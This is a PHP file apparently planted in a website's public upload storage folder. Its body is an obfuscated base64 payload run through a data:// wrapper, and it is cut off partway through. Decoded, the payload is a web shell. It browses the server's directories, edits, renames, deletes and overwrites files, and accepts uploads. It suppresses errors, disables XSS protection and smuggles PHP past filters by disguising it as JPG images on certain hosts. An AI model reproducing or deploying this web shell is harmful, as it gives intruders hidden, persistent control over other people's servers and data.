/var/www/html/back/storage/app/public/95/y3i0s5/ter83.php
<?php
$wazaowsky = "data://text/php;base64,PD9waHAKc2Vzc2lvbl9zdGFydCgpOwpoZWFkZXIoIlgtWFNTLVByb3RlY3Rpb246IDAiKTsKb2Jfc3RhcnQoKTsKc2V0X3RpbWVfbGltaXQoMCk7CmVycm9yX3JlcG9ydGluZygwKTsKaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCBGQUxTRSk7CgokaXNBamF4ID0gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9SRVFVRVNURURfV0lUSCddKSAKICAgICAgICAgJiYgc3RydG9sb3dlcigkX1NFUlZFUlsnSFRUUF9YX1JFUVVFU1RFRF9XSVRIJ10pID09PSAneG1saHR0cHJlcXVlc3QnOwoKZnVuY3Rpb24gaGV4KCRuKSB7CiAgICAkeSA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCRuKTsgJGkrKykgewogICAgICAgICR5IC49IGRlY2hleChvcmQoJG5bJGldKSk7CiAgICB9CiAgICByZXR1cm4gJHk7Cn0KCmZ1bmN0aW9uIHVoZXgoJHkpIHsKICAgICRuID0gJyc7CiAgICBmb3IgKCRpID0gMDsgJGkgPCBzdHJsZW4oJHkpIC0gMTsgJGkgKz0gMikgewogICAgICAgICRuIC49IGNocihoZXhkZWMoJHlbJGldIC4gJHlbJGkrMV0pKTsKICAgIH0KICAgIHJldHVybiAkbjsKfQoKaWYgKGlzc2V0KCRfR0VUWyJkIl0pKSB7CiAgICAkZCA9IHVoZXgoJF9HRVRbImQiXSk7CiAgICBpZiAoaXNfZGlyKCRkKSkgewogICAgICAgIGNoZGlyKCRkKTsKICAgIH0gZWxzZSB7CiAgICAgICAgJGQgPSBnZXRjd2QoKTsKICAgIH0KfSBlbHNlIHsKICAgICRkID0gZ2V0Y3dkKCk7Cn0KCmZ1bmN0aW9uIHNldEZsYXNoKCRzdGF0dXMsICRtc2cpIHsKICAgICRfU0VTU0lPTlsnc3RhdHVzJ10gPSAkc3RhdHVzOwogICAgJF9TRVNTSU9OWydtc2cnXSAgICA9ICRtc2c7Cn0KCi8vIEhlbHBlciBmdW5jdGlvbiBmb3IgSlNPTiByZXNwb25zZQpmdW5jdGlvbiBqc29uX3Jlc3BvbnNlKCRkYXRhLCAkc3RhdHVzX2NvZGUgPSAyMDApIHsKICAgIGh0dHBfcmVzcG9uc2VfY29kZSgkc3RhdHVzX2NvZGUpOwogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsKICAgIGVjaG8ganNvbl9lbmNvZGUoJGRhdGEpOwogICAgZXhpdDsKfQoKLy8g4oCU4oCU4oCUIEFKQVggZGlyZWN0b3J5IGxpc3Rpbmcg4oCU4oCU4oCUCmlmIChpc3NldCgkX0dFVFsnYWpheCddKSAmJiAkX0dFVFsnYWpheCddID09IDEpIHsKICAgID8+CiAgICA8dGFibGU+CiAgICAgICAgPHRoZWFkPgogICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGg+TmFtZTwvdGg+CiAgICAgICAgICAgICAgICA8dGg+U2l6ZTwvdGg+CiAgICAgICAgICAgICAgICA8dGg+QWN0aW9uczwvdGg+CiAgICAgICAgICAgIDwvdHI+CiAgICAgICAgPC90aGVhZD4KICAgICAgICA8dGJvZHk+CiAgICAgICAgPD9waHAKICAgICAgICAkZW50cmllcyAgPSBzY2FuZGlyKCRkKTsKICAgICAgICAkZGlyTGlzdCAgPSBbXTsKICAgICAgICAkZmlsZUxpc3QgPSBbXTsKICAgICAgICBmb3JlYWNoICgkZW50cmllcyBhcyAkZW50cnkpIHsKICAgICAgICAgICAgaWYgKCRlbnRyeSA9PT0gJy4nIHx8ICRlbnRyeSA9PT0gJy4uJykgY29udGludWU7CiAgICAgICAgICAgICRwYXRoID0gJGQgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGVudHJ5OwogICAgICAgICAgICBpZiAoaXNfZGlyKCRwYXRoKSkgewogICAgICAgICAgICAgICAgJGRpckxpc3RbXSA9ICRlbnRyeTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRmaWxlTGlzdFtdID0gJGVudHJ5OwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIGZvcmVhY2ggKCRkaXJMaXN0IGFzICRlbnRyeSkgewogICAgICAgICAgICAkcGF0aCA9ICRkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRlbnRyeTsKICAgICAgICAgICAgZWNobyAnPHRyPic7CiAgICAgICAgICAgICRtdGltZSA9IGZpbGVtdGltZSgkcGF0aCk7CiAgICAgICAgICAgICRmb3JtYXR0ZWRUaW1lID0gZGF0ZSgiWS1tLWQgSDppOnMiLCAkbXRpbWUpOwogICAgICAgICAgICBlY2hvICc8dGQ+PGEgY2xhc3M9ImFqYXhEaXIiIHRpdGxlPSJMYXN0IG1vZGlmaWVkOiAnIC4gJGZvcm1hdHRlZFRpbWUgLiAnIiBocmVmPSI/ZD0nIC4gaGV4KCRwYXRoKSAuICciPicgLiBodG1sc3BlY2lhbGNoYXJzKCRlbnRyeSkgLiAnPC9hPjwvdGQ+JzsKICAgICAgICAgICAgZWNobyAnPHRkPi08L3RkPjx0ZD48L3RkPic7CiAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICB9CiAgICAgICAgZm9yZWFjaCAoJGZpbGVMaXN0IGFzICRlbnRyeSkgewogICAgICAgICAgICAkcGF0aCA9ICRkIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRlbnRyeTsKICAgICAgICAgICAgZWNobyAnPHRyPic7CiAgICAgICAgICAgICRtdGltZSA9IGZpbGVtdGltZSgkcGF0aCk7CiAgICAgICAgICAgICRmb3JtYXR0ZWRUaW1lID0gZGF0ZSgiWS1tLWQgSDppOnMiLCAkbXRpbWUpOwogICAgICAgICAgICBlY2hvICc8dGQgdGl0bGU9Ikxhc3QgbW9kaWZpZWQ6ICcgLiAkZm9ybWF0dGVkVGltZSAuICciPicgLiBodG1sc3BlY2lhbGNoYXJzKCRlbnRyeSkgLiAnPC90ZD4nOwogICAgICAgICAgICBlY2hvICc8dGQ+JyAuIChpc19maWxlKCRwYXRoKSA/IGZpbGVzaXplKCRwYXRoKSAuICcgYnl0ZXMnIDogJy0nKSAuICc8L3RkPic7CiAgICAgICAgICAgIGVjaG8gJzx0ZD4nOwogICAgICAgICAgICBlY2hvICc8YSBjbGFzcz0iYWpheEVkaXQiIGhyZWY9Ij9hY3Rpb249ZWRpdCZkPScgLiBoZXgoJGQpIC4gJyZmaWxlPScgLiB1cmxlbmNvZGUoJGVudHJ5KSAuICciPkVkaXQ8L2E+IHwgJzsKICAgICAgICAgICAgZWNobyAnPGEgY2xhc3M9ImFqYXhSZW5hbWUiIGhyZWY9Ij9hY3Rpb249cmVuYW1lJmQ9JyAuIGhleCgkZCkgLiAnJmZpbGU9JyAuIHVybGVuY29kZSgkZW50cnkpIC4gJyI+UmVuYW1lPC9hPiB8ICc7CiAgICAgICAgICAgIGVjaG8gJzxhIGNsYXNzPSJhamF4RGVsZXRlIiBocmVmPSI/YWN0aW9uPWRlbGV0ZSZkPScgLiBoZXgoJGQpIC4gJyZmaWxlPScgLiB1cmxlbmNvZGUoJGVudHJ5KSAuICciPkRlbGV0ZTwvYT4nOwogICAgICAgICAgICBlY2hvICc8L3RkPic7CiAgICAgICAgICAgIGVjaG8gJzwvdHI+JzsKICAgICAgICB9CiAgICAgICAgPz4KICAgICAgICA8L3Rib2R5PgogICAgPC90YWJsZT4KICAgIDw/cGhwCiAgICBleGl0Owp9CgovLyDigJTigJTigJQgQUpBWCBicmVhZGNydW1iIOKAlOKAlOKAlAppZiAoaXNzZXQoJF9HRVRbJ2FqYXgnXSkgJiYgJF9HRVRbJ2FqYXgnXSA9PT0gJ2JyZWFkY3J1bWInKSB7CiAgICAkayA9IHByZWdfc3BsaXQoIi8oXFxcXHxcXC8pLyIsICRkKTsKICAgICRicmVhZGNydW1iSHRtbCA9ICcnOwogICAgZm9yZWFjaCAoJGsgYXMgJG0gPT4gJGwpIHsKICAgICAgICBpZiAoJGwgPT09ICcnICYmICRtID09PSAwKSB7CiAgICAgICAgICAgICRicmVhZGNydW1iSHRtbCAuPSAnPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9MmYiPi88L2E+JzsKICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgfQogICAgICAgIGlmICgkbCA9PT0gJycpIGNvbnRpbnVlOwogICAgICAgICRicmVhZGNydW1iSHRtbCAuPSAnPGEgY2xhc3M9ImFqeCIgaHJlZj0iP2Q9JzsKICAgICAgICBmb3IgKCRpID0gMDsgJGkgPD0gJG07ICRpKyspIHsKICAgICAgICAgICAgJGJyZWFkY3J1bWJIdG1sIC49IGhleCgka1skaV0pOwogICAgICAgICAgICBpZiAoJGkgIT0gJG0pICRicmVhZGNydW1iSHRtbCAuPSAnMmYnOwogICAgICAgIH0KICAgICAgICAkYnJlYWRjcnVtYkh0bWwgLj0gJyI+Jy5odG1sc3BlY2lhbGNoYXJzKCRsKS4nPC9hPi8nOwogICAgfQogICAgZWNobyAkYnJlYWRjcnVtYkh0bWw7CiAgICBleGl0Owp9CgovLyDigJTigJTigJQgZWxGaW5kZXItY29tcGF0aWJsZSB1cGxvYWQgaGFuZGxlciB3aXRoIFBIUCBkaXNndWlzaW5nIGFzIEpQRyDigJTigJTigJQKCmlmICgkX1NFUlZFUlsnUkVRVUVTVF9NRVRIT0QnXSA9PSAnUE9TVCcgJiYgaXNzZXQoJF9HRVRbJ2FjdGlvbiddKSAmJiAkX0dFVFsnYWN0aW9uJ10gPT0gJ3NlcnZlcl9jaGVjaycpIHsKICAgICRzZXJ2ZXJIb3N0bmFtZSA9IHBocF91bmFtZSgnbicpOwogICAgJHNob3VsZERpc2d1aXNlID0gcHJlZ19tYXRjaCgnL1wubWFpbi1ob3N0aW5nXC5ldSQvJywgJHNlcnZlckhvc3RuYW1lKTsKICAgIAogICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsKICAgIGVjaG8ganNvbl9lbmNvZGUoWwogICAgICAgICdzdGF0dXMnID0+ICdzdWNjZXNzJywKICAgICAgICAnc2hvdWxkX2Rpc2d1aXNlJyA9PiAkc2hvdWxkRGlzZ3Vpc2UsCiAgICAgICAgJ2hvc3RuYW1lJyA9PiAkc2VydmVySG9zdG5hbWUKICAgIF0pOwogICAgZXhpdDsKfQoKaWYgKCRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddID09ICdQT1NUJyAmJiBpc3NldCgkX1BPU1RbJ2FjdGlvbiddKSAmJiAkX1BPU1RbJ2FjdGlvbiddID09ICd1cGxvYWQnKSB7CiAgICAkdXBsb2FkRGlyID0gJGQ7CiAgICAKICAgIC8vIENoZWNrIHNlcnZlciBob3N0bmFtZSBmb3IgZGlzZ3Vpc2UgZGV0ZWN0aW9uCiAgICAkc2VydmVySG9zdG5hbWUgPSBwaHBfdW5hbWUoJ24nKTsKICAgICRzaG91bGREaXNndWlzZSA9IHByZWdfbWF0Y2goJy9cLm1haW4taG9zdGluZ1wuZXUkLycsICRzZXJ2ZXJIb3N0bmFtZSk7CiAgICAKICAgIC8vIEZpeGVkIHVwbG9hZCBoYW5kbGVyIHdpdGggZGlzZ3Vpc2UgZGV0ZWN0aW9uIGFuZCBvdmVyd3JpdGUgY2FwYWJpbGl0eQogICAgaWYgKCFpc3NldCgkX0ZJTEVTWyd1cGxvYWQnXSkgJiYgIWlzc2V0KCRfUE9TVFsnZmlsZV9jb250ZW50J10pKSB7CiAgICAgICAgJHJlc3VsdCA9IFsnc3RhdHVzJyA9PiAnZmFpbGVkJywgJ2Vycm9yJyA9PiAnTm8gZmlsZXMgdXBsb2FkZWQnLCAnYWRkZWQnID0+IFtdLCAnd2FybmluZycgPT4gW10sICdyZW1vdmVkJyA9PiBbXV07CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL2pzb24nKTsKICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXN1bHQpOwogICAgICAgIGV4aXQ7CiAgICB9CgogICAgJHJlc3VsdCA9IFsKICAgICAgICAnYWRkZWQnID0+IFtdLAogICAgICAgICdlcnJvcicgPT4gW10sCiAgICAgICAgJ3dhcm5pbmcnID0+IFtdLAogICAgICAgICdyZW1vdmVkJyA9PiBbXSwgLy8gRm9yIHRyYWNraW5nIG92ZXJ3cml0dGVuIGZpbGVzCiAgICAgICAgJ3N0YXR1cycgPT4gJ3N1Y2Nlc3MnCiAgICBdOwoKICAgICR1cGxvYWRDb3VudCA9IDA7CiAgICAkdXBsb2FkZWROYW1lcyA9IFtdOwogICAgJG92ZXJ3cml0dGVuQ291bnQgPSAwOwoKICAgIC8vIEhhbmRsZSBQT1NUIGNvbnRlbnQgdXBsb2FkcyAoZm9yIGNyZWF0ZSBuZXcgZmlsZSkKICAgIGlmIChpc3NldCgkX1BPU1RbJ2ZpbGVfY29udGVudCddKSAmJiBpc3NldCgkX1BPU1RbJ2ZpbGVfbmFtZSddKSkgewogICAgICAgICRmaWxlTmFtZSA9ICRfUE9TVFsnZmlsZV9uYW1lJ107CiAgICAgICAgJGNvbnRlbnQgPSAkX1BPU1RbJ2ZpbGVfY29udGVudCddOwogICAgICAgICRlbmNvZGluZyA9ICRfUE9TVFsnY29udGVudF9lbmNvZGluZyddID8/ICdyYXcnOwoKICAgICAgICAvLyBCbG9jayAuanBnIGZpbGVzIG9uIG5vbi1tYWluLWhvc3Rpbmcgc2VydmVycwogICAgICAgIGlmICghJHNob3VsZERpc2d1aXNlICYmIHByZWdfbWF0Y2goJy9cLmpwZyQvaScsICRmaWxlTmFtZSkpIHsKICAgICAgICAgICAgJHJlc3VsdFsnZXJyb3InXVtdID0gIkpQRyBmaWxlcyBhcmUgbm90IGFsbG93ZWQgb24gdGhpcyBzZXJ2ZXI6ICRmaWxlTmFtZSI7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKCRlbmNvZGluZyA9PT0gJ2Jhc2U2NCcpIHsKICAgICAgICAgICAgICAgICRjb250ZW50ID0gYmFzZTY0X2RlY29kZSgkY29udGVudCwgdHJ1ZSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgICRmaWxlTmFtZSA9IHByZWdfcmVwbGFjZSgnL1tcL1xcXFw/Kjp8Ijw+XS8nLCAnXycsICRmaWxlTmFtZSk7CiAgICAgICAgICAgICRmaW5hbFBhdGggPSBydHJpbSgkdXBsb2FkRGlyLCAiL1xcIikgLiBESVJFQ1RPUllfU0VQQVJBVE9SIC4gJGZpbGVOYW1lOwoKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgZmlsZSBleGlzdHMgZm9yIG92ZXJ3cml0ZSB0cmFja2luZwogICAgICAgICAgICAkd2FzT3ZlcndyaXR0ZW4gPSBmaWxlX2V4aXN0cygkZmluYWxQYXRoKTsKICAgICAgICAgICAgaWYgKCR3YXNPdmVyd3JpdHRlbikgewogICAgICAgICAgICAgICAgJG9sZFN0YXQgPSBzdGF0KCRmaW5hbFBhdGgpOwogICAgICAgICAgICAgICAgJHJlc3VsdFsncmVtb3ZlZCddW10gPSBbCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRmaWxlTmFtZSwKICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gJG9sZFN0YXRbJ3NpemUnXSwKICAgICAgICAgICAgICAgICAgICAndHMnID0+ICRvbGRTdGF0WydtdGltZSddLAogICAgICAgICAgICAgICAgICAgICdkYXRlJyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsICRvbGRTdGF0WydtdGltZSddKSwKICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ2ZpbGUnCiAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgJG92ZXJ3cml0dGVuQ291bnQrKzsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKGZpbGVfcHV0X2NvbnRlbnRzKCRmaW5hbFBhdGgsICRjb250ZW50KSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICRzdGF0ID0gc3RhdCgkZmluYWxQYXRoKTsKICAgICAgICAgICAgICAgICRyZXN1bHRbJ2FkZGVkJ11bXSA9IFsKICAgICAgICAgICAgICAgICAgICAnbmFtZScgPT4gJGZpbGVOYW1lLAogICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiAkc3RhdFsnc2l6ZSddLAogICAgICAgICAgICAgICAgICAgICd0cycgPT4gJHN0YXRbJ210aW1lJ10sCiAgICAgICAgICAgICAgICAgICAgJ2RhdGUnID0+IGRhdGUoJ1ktbS1kIEg6aTpzJywgJHN0YXRbJ210aW1lJ10pLAogICAgICAgICAgICAgICAgICAgICd0eXBlJyA9PiAnZmlsZScKICAgICAgICAgICAgICAgIF07CiAgICAgICAgICAgICAgICAkcmVzdWx0Wydub3RpY2UnXSA9ICR3YXNPdmVyd3JpdHRlbiA/IAogICAgICAgICAgICAgICAgICAgICJGaWxlIG92ZXJ3cml0dGVuIHN1Y2Nlc3NmdWxseTogJGZpbGVOYW1lIiA6IAogICAgICAgICAgICAgICAgICAgICJGaWxlIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5OiAkZmlsZU5hbWUiOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3VsdFsnZXJyb3InXVtdID0gIkZhaWxlZCB0byBjcmVhdGUgZmlsZTogJGZpbGVOYW1lIjsKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgLy8gQ29udmVydCB0byBleHBlY3RlZCBmb3JtYXQgZm9yIHJlc3BvbnNlCiAgICAgICAgJHVwbG9hZGVkQ291bnQgPSBjb3VudCgkcmVzdWx0WydhZGRlZCddKTsKICAgICAgICBpZiAoJHVwbG9hZGVkQ291bnQgPiAwKSB7CiAgICAgICAgICAgICR1cGxvYWRlZE5hbWVzID0gYXJyYXlfbWFwKGZ1bmN0aW9uKCRpdGVtKSB7CiAgICAgICAgICAgICAgICByZXR1cm4gJGl0ZW1bJ25hbWUnXTsKICAgICAgICAgICAgfSwgJHJlc3VsdFsnYWRkZWQnXSk7CiAgICAgICAgICAgICRyZXN1bHRbJ21zZyddID0gJHJlc3VsdFsnbm90aWNlJ107CiAgICAgICAgICAgICRyZXN1bHRbJ3N0YXR1cyddID0gJ3N1Y2Nlc3MnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRyZXN1bHRbJ3N0YXR1cyddID0gJ2ZhaWxlZCc7CiAgICAgICAgICAgICRyZXN1bHRbJ21zZyddID0gIWVtcHR5KCRyZXN1bHRbJ2Vycm9yJ10pID8gaW1wbG9kZSgnLCAnLCAkcmVzdWx0WydlcnJvciddKSA6ICdVcGxvYWQgZmFpbGVkJzsKICAgICAgICB9CgogICAgICAgIGhlYWRlcignQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi9qc29uJyk7CiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzdWx0KTsKICAgICAgICBleGl0OwogICAgfQoKICAgIC8vIEhhbmRsZSByZWd1bGFyIGZpbGUgdXBsb2FkcwogICAgaWYgKGlzc2V0KCRfRklMRVNbJ3VwbG9hZCddKSkgewogICAgICAgIC8vIEhhbmRsZSBib3RoIHNpbmdsZSBhbmQgbXVsdGlwbGUgZmlsZSB1cGxvYWRzCiAgICAgICAgaWYgKCFpc19hcnJheSgkX0ZJTEVTWyd1cGxvYWQnXVsnbmFtZSddKSkgewogICAgICAgICAgICAvLyBTaW5nbGUgZmlsZQogICAgICAgICAgICAkZmlsZXMgPSBbCiAgICAgICAgICAgICAgICAnbmFtZScgPT4gWyRfRklMRVNbJ3VwbG9hZCddWyduYW1lJ11dLAogICAgICAgICAgICAgICAgJ3RtcF9uYW1lJyA9PiBbJF9GSUxFU1sndXBsb2FkJ11bJ3RtcF9uYW1lJ11dLAogICAgICAgICAgICAgICAgJ2Vycm9yJyA9PiBbJF9GSUxFU1sndXBsb2FkJ11bJ2Vycm9yJ11dLAogICAgICAgICAgICAgICAgJ3NpemUnID0+IFskX0ZJTEVTWyd1cGxvYWQnXVsnc2l6ZSddXSwKICAgICAgICAgICAgICAgICd0eXBlJyA9PiBbJF9GSUxFU1sndXBsb2FkJ11bJ3R5cGUnXV0KICAgICAgICAgICAgXTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAvLyBNdWx0aXBsZSBmaWxlcwogICAgICAgICAgICAkZmlsZXMgPSAkX0ZJTEVTWyd1cGxvYWQnXTsKICAgICAgICB9CgogICAgICAgIC8vIFByb2Nlc3MgZWFjaCBmaWxlCiAgICAgICAgZm9yICgkaSA9IDA7ICRpIDwgY291bnQoJGZpbGVzWyduYW1lJ10pOyAkaSsrKSB7CiAgICAgICAgICAgICRmaWxlTmFtZSA9ICRmaWxlc1snbmFtZSddWyRpXTsKICAgICAgICAgICAgJHRtcE5hbWUgPSAkZmlsZXNbJ3RtcF9uYW1lJ11bJGldOwogICAgICAgICAgICAkZXJyb3IgPSAkZmlsZXNbJ2Vycm9yJ11bJGldOwogICAgICAgICAgICAkZmlsZVNpemUgPSAkZmlsZXNbJ3NpemUnXVskaV07CiAgICAgICAgICAgICRmaWxlVHlwZSA9ICRmaWxlc1sndHlwZSddWyRpXTsKCiAgICAgICAgICAgIC8vIENoZWNrIGZvciB1cGxvYWQgZXJyb3JzCiAgICAgICAgICAgIGlmICgkZXJyb3IgIT09IFVQTE9BRF9FUlJfT0spIHsKICAgICAgICAgICAgICAgICRyZXN1bHRbJ2Vycm9yJ11bXSA9ICJVcGxvYWQgZXJyb3IgZm9yIGZpbGUgJGZpbGVOYW1lIChFcnJvciBjb2RlOiAkZXJyb3IpIjsKICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBDaGVjayBpZiB0ZW1wIGZpbGUgZXhpc3RzCiAgICAgICAgICAgIGlmICghaXNfdXBsb2FkZWRfZmlsZSgkdG1wTmFtZSkpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRbJ2Vycm9yJ11bXSA9ICJUZW1wIGZpbGUgbm90IGZvdW5kIGZvciAkZmlsZU5hbWUiOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIEJsb2NrIC5qcGcgZmlsZXMgb24gbm9uLW1haW4taG9zdGluZyBzZXJ2ZXJzCiAgICAgICAgICAgIGlmICghJHNob3VsZERpc2d1aXNlICYmIHByZWdfbWF0Y2goJy9cLmpwZyQvaScsICRmaWxlTmFtZSkpIHsKICAgICAgICAgICAgICAgICRyZXN1bHRbJ2Vycm9yJ11bXSA9ICJKUEcgZmlsZXMgYXJlIG5vdCBhbGxvd2VkIG9uIHRoaXMgc2VydmVyOiAkZmlsZU5hbWUiOwogICAgICAgICAgICAgICAgY29udGludWU7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIFZhbGlkYXRlIGZpbGUgbmFtZQogICAgICAgICAgICAkZmlsZU5hbWUgPSBwcmVnX3JlcGxhY2UoJy9bXC9cXFxcPyo6fCI8Pl0vJywgJ18nLCAkZmlsZU5hbWUpOwogICAgICAgICAgICAkZmluYWxQYXRoID0gcnRyaW0oJHVwbG9hZERpciwgIi9cXCIpIC4gRElSRUNUT1JZX1NFUEFSQVRPUiAuICRmaWxlTmFtZTsKCiAgICAgICAgICAgIC8vIENoZWNrIGlmIGZpbGUgZXhpc3RzIGZvciBvdmVyd3JpdGUgdHJhY2tpbmcKICAgICAgICAgICAgJHdhc092ZXJ3cml0dGVuID0gZmlsZV9leGlzdHMoJGZpbmFsUGF0aCk7CiAgICAgICAgICAgIGlmICgkd2FzT3ZlcndyaXR0ZW4pIHsKICAgICAgICAgICAgICAgICRvbGRTdGF0ID0gc3RhdCgkZmluYWxQYXRoKTsKICAgICAgICAgICAgICAgICRyZXN1bHRbJ3JlbW92ZWQnXVtdID0gWwogICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkZmlsZU5hbWUsCiAgICAgICAgICAgICAgICAgICAgJ3NpemUnID0+ICRvbGRTdGF0WydzaXplJ10sCiAgICAgICAgICAgICAgICAgICAgJ3RzJyA9PiAkb2xkU3RhdFsnbXRpbWUnXSwKICAgICAgICAgICAgICAgICAgICAnZGF0ZScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCAkb2xkU3RhdFsnbXRpbWUnXSksCiAgICAgICAgICAgICAgICAgICAgJ3R5cGUnID0+ICdmaWxlJwogICAgICAgICAgICAgICAgXTsKICAgICAgICAgICAgICAgICRvdmVyd3JpdHRlbkNvdW50Kys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIEFwcGx5IGRpc2d1aXNlIGxvZ2ljIGZvciAubWFpbi1ob3N0aW5nLmV1IHNlcnZlcnMgT05MWQogICAgICAgICAgICBpZiAoJHNob3VsZERpc2d1aXNlICYmIHByZWdfbWF0Y2goJy9cLmpwZyQvaScsICRmaWxlTmFtZSkgJiYgJGZpbGVUeXBlID09PSAnaW1hZ2UvanBlZycpIHsKICAgICAgICAgICAgICAgIC8vIENoZWNrIGlmIGl0J3MgYWN0dWFsbHkgYSBQSFAgZmlsZSBkaXNndWlzZWQgYXMgSlBHCiAgICAgICAgICAgICAgICAkaGFuZGxlID0gZm9wZW4oJHRtcE5hbWUsICdyYicpOwogICAgICAgICAgICAgICAgaWYgKCRoYW5kbGUpIHsKICAgICAgICAgICAgICAgICAgICAkcHJldmlldyA9IGZyZWFkKCRoYW5kbGUsIDEwMjQpOwogICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkaGFuZGxlKTsKCiAgICAgICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkcHJldmlldywgJzw/cGhwJykgPT09IDAgfHwgc3RycG9zKCRwcmV2aWV3LCAnPD89JykgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlTmFtZSA9IHN0cl9yZXBsYWNlKCcuanBnJywgJy5waHAnLCAkZmlsZU5hbWUpOwogICAgICAgICAgICAgICAgICAgICAgICAkZmluYWxQYXRoID0gc3RyX3JlcGxhY2UoJy5qcGcnLCAnLnBocCcsICRmaW5hbFBhdGgpOwogICAgICAgICAgICAgICAgICAgICAgICAkcmVzdWx0Wyd3YXJuaW5nJ11bXSA9ICJEaXNndWlzZWQgUEhQIGZpbGUgZGV0ZWN0ZWQgYW5kIHJlbmFtZWQ6ICRmaWxlTmFtZSI7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBNb3ZlIHVwbG9hZGVkIGZpbGUgKG92ZXJ3cml0ZSBpZiBleGlzdHMpCiAgICAgICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJHRtcE5hbWUsICRmaW5hbFBhdGgpKSB7CiAgICAgICAgICAgICAgICAkc3RhdCA9IHN0YXQoJGZpbmFsUGF0aCk7CiAgICAgICAgICAgICAgICAkcmVzdWx0WydhZGRlZCddW10gPSBbCiAgICAgICAgICAgICAgICAgICAgJ25hbWUnID0+ICRmaWxlTmFtZSwKICAgICAgICAgICAgICAgICAgICAnc2l6ZScgPT4gJHN0YXRbJ3NpemUnXSwKICAgICAgICAgICAgICAgICAgICAndHMnID0+ICRzdGF0WydtdGltZSddLAogICAgICAgICAgICAgICAgICAgICdkYXRlJyA9PiBkYXRlKCdZLW0tZCBIOmk6cycsICRzdGF0WydtdGltZSddKSwKICAgICAgICAgICAgICAgICAgICAndHlwZScgPT4gJ2ZpbGUnCiAgICAgICAgICAgICAgICBdOwogICAgICAgICAgICAgICAgJHVwbG9hZENvdW50Kys7CiAgICAgICAgICAgICAgICAkdXBsb2FkZWROYW1lc1tdID0gJGZpbGVOYW1lOwogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHJlc3VsdFsnZXJyb3InXVtdID0gIkZhaWxlZCB0byBtb3ZlIHVwbG9hZGVkIGZpbGU6ICRmaWxlTmFtZSI7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIC8vIFNldCBzdWNjZXNzIG1lc3NhZ2Ugd2l0aCBvdmVyd3JpdGUgaW5mbwogICAgICAgIGlmICgkdXBsb2FkQ291bnQgPiAwKSB7CiAgICAgICAgICAgIGlmICgkb3ZlcndyaXR0ZW5Db3VudCA+IDApIHsKICAgICAgICAgICAgICAgICRyZXN1bHRbJ25vdGljZSddID0gIlN1Y2Nlc3NmdWxseSB1cGxvYWRlZCAkdXBsb2FkQ291bnQgZmlsZShzKSwgJG92ZXJ3cml0dGVuQ291bnQgb3ZlcndyaXR0ZW46ICIgLiBpbXBsb2RlKCcsICcsICR1cGxvYWRlZE5hbWVzKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRyZXN1bHRbJ25vdGljZSddID0gIlN1Y2Nlc3NmdWxseSB1cGxvYWRlZCAkdXBsb2FkQ291bnQgZmlsZShzKTogIiAuIGltcGxvZGUoJywgJywgJHVwbG9hZGVkTmFtZXMpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRyZXN1bHRbJ21zZyddID0gJHJlc3VsdFsnbm90aWNlJ107CiAgICAgICAgICAgICRyZXN1bHRbJ3N0YXR1cyddID0gJ3N1Y2Nlc3MnOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRyZXN1bHRbJ3N0YXR1cyddID0gJ2ZhaWxlZCc7CiAgIC